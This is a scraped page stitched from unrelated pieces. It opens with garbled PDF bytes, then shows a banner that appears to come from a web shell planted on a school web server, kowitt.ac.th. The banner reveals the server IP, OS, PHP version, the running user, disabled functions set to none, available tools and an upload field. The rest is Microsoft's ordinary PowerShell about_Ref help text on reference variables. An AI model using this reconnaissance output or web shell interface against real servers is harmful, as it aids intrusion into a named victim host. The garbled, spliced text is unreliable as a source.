%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Windows/System32/WindowsPowerShell/v1.0/en-US/ |
Upload File : |
TOPIC about_Ref SHORT DESCRIPTION Describes how to create and use a reference variable type. LONG DESCRIPTION You can use the reference variable type to permit a method to change the value of a variable that is passed to it. When the [ref] type is associated with an object, it returns a reference to that object. If the reference is used with a method, the method can refer to the object that was passed to it. If the object is changed within the method, the change appears as a change in the value of the variable when control returns to the calling method. To use referencing, the parameter must be a reference variable. If it is not, an InvalidArgument exception is thrown. The parameters used in method invocations must match the type required by the methods. Examples: PS> function swap([ref]$a,[ref]$b) >> { >> $a.value,$b.value = $b.value,$a.value >> } PS> $a = 1 PS> $b = 10 PS> $a,$b 1 10 PS> swap ([ref]$a) ([ref]$b) PS> $a,$b 10 1 PS C:\ps-test> function double >> { >> param ([ref]$x) $x.value = $x.value * 2 >> } PS C:> $number = 8 PS C:> $number 8 PS C> double ([ref]$number) PS C> $number 16 The variable must be a reference variable. PS C:\ps-test> double $number double : Reference type is expected in argument. At line:1 char:7 + double <<<< $number SEE ALSO about_Variables about_Environment_Variables about_Functions about_Script_Blocks